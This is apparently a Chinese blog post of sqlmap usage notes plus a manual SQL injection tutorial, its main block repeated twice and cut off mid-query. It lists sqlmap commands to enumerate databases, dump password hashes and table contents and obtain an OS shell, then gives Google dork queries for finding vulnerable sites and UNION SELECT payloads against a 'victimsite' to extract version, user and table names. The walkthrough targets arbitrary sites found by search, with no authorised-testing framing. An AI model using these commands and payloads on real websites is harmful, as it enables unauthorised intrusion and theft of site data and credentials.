sqlmap使用笔记
2014-04-18 09:57
127 查看
/sqlmap.py –h //查看帮助信息
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” //get注入
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” --data “DATA”//post注入
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” --cookie “COOKIE”//修改请求时的cookie
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” --dbs //列数据库
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-users //列用户
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-passwords //获取密码hash
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-tables -D DB_NAME //列DB_NAME的表
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-columns –T TB_NAME -D DB_NAME //读取TB_NAME中的列
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-dump –C C1,C2,C3 –T TB_NAME -D DB_NAME //读字段C1,C2,C3数据
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-os-shell //取得一个shell
第一步:搜索可能有漏洞的网站
Google 是很强大的,之前牛牛的帖子就已经提到了利用google收集信息。这里我们可以搜索的关键词很多,例如:
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=
网上有个术语,把这些称作“Google
Dorks”
如果想针对某个特定的网站,可以用类似的格式搜索:site: http://
第二步:检测一下目标是否有明显漏洞
搜索结果会出来一大堆,一个简单的测试方式是在Url末尾的数字后面加单引号或者加上 and
1=1 或者 1=2 看看界面是否有明显变化或者直接就给出SQL的报错语句了。
第三步:看看该表有多少个字段
这一步很简单,也容易理解,url后面加上order by number就行了,这个number可以随意输入,一般从小往大的尝试,比如12,3,4,5都能看见网页界面,然后6就报错了,那么很明显这个网页对应的表只有5个字段
比如当我输入1-4的时候是这个界面
第四步:找到有漏洞的字段
如果字段数目是7,那么可以用以下方式,注意数字改成负数
http://www.victimsite.com/index.php?id=-2union select 1,2,3,4,5,6,7—
或者
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,3,4,5,6,7—
第五步:找到对应的版本号,数据库和用户
把上面的2换成对应的version(),database()和user()即可,例如
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,version(),4,5,6,7—
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,database(),4,5,6,7—
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,user(),4,5,6,7—
第六步:看看这个数据库下有哪些表
用group_concat(table_name)替换有漏洞的字段,然后后面加frominformation_schema.tables
where table_schema=database()
例如:http://www.victimsite.com/index.php?id=-2
and 1=2 unionselect 1,2,group_concat(table_name),4,5,6,7 from information_schema.tableswhere
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” //get注入
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” --data “DATA”//post注入
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” --cookie “COOKIE”//修改请求时的cookie
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” --dbs //列数据库
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-users //列用户
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-passwords //获取密码hash
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-tables -D DB_NAME //列DB_NAME的表
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-columns –T TB_NAME -D DB_NAME //读取TB_NAME中的列
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-dump –C C1,C2,C3 –T TB_NAME -D DB_NAME //读字段C1,C2,C3数据
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-os-shell //取得一个shell
第一步:搜索可能有漏洞的网站
Google 是很强大的,之前牛牛的帖子就已经提到了利用google收集信息。这里我们可以搜索的关键词很多,例如:
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=
网上有个术语,把这些称作“Google
Dorks”
如果想针对某个特定的网站,可以用类似的格式搜索:site: http://
www.victimsite.cominurl:php?id=
第二步:检测一下目标是否有明显漏洞
搜索结果会出来一大堆,一个简单的测试方式是在Url末尾的数字后面加单引号或者加上 and
1=1 或者 1=2 看看界面是否有明显变化或者直接就给出SQL的报错语句了。
第三步:看看该表有多少个字段
这一步很简单,也容易理解,url后面加上order by number就行了,这个number可以随意输入,一般从小往大的尝试,比如12,3,4,5都能看见网页界面,然后6就报错了,那么很明显这个网页对应的表只有5个字段
比如当我输入1-4的时候是这个界面
第四步:找到有漏洞的字段
如果字段数目是7,那么可以用以下方式,注意数字改成负数
http://www.victimsite.com/index.php?id=-2union select 1,2,3,4,5,6,7—
或者
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,3,4,5,6,7—
第五步:找到对应的版本号,数据库和用户
把上面的2换成对应的version(),database()和user()即可,例如
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,version(),4,5,6,7—
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,database(),4,5,6,7—
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,user(),4,5,6,7—
第六步:看看这个数据库下有哪些表
用group_concat(table_name)替换有漏洞的字段,然后后面加frominformation_schema.tables
where table_schema=database()
例如:http://www.victimsite.com/index.php?id=-2
and 1=2 unionselect 1,2,group_concat(table_name),4,5,6,7 from information_schema.tableswhere
相关文章推荐
- crontab定时执行数据库查询
- mysql 批量删除数据库中的所有数据
- 数据库的索引原理
- windows批处理下操作mysql
- 【数据库摘要】4_Sql_Like
- MySQL触发器
- mysql中查看datadir目录
- Oracle数据库冷备份的还原及emca重建资料库
- Linux下的Oracle10g安装步骤
- windows7下MySQL5.6忘记root密码
- 解决MySQL查询不区分大小写
- 数据库连接池
- SqlServer索引的原理与应用
- Java并发教程(Oracle官方资料)
- Oracle中NVARCHAR2与VARCHAR2的区别
- linq to sql 系列之 linq to sql性能优化技巧
- 经典SQL--输入一个数求每位的和
- 提高数据库处理查询速度
- 【SQL】SQL数据类型
- ssh mysql还原数据库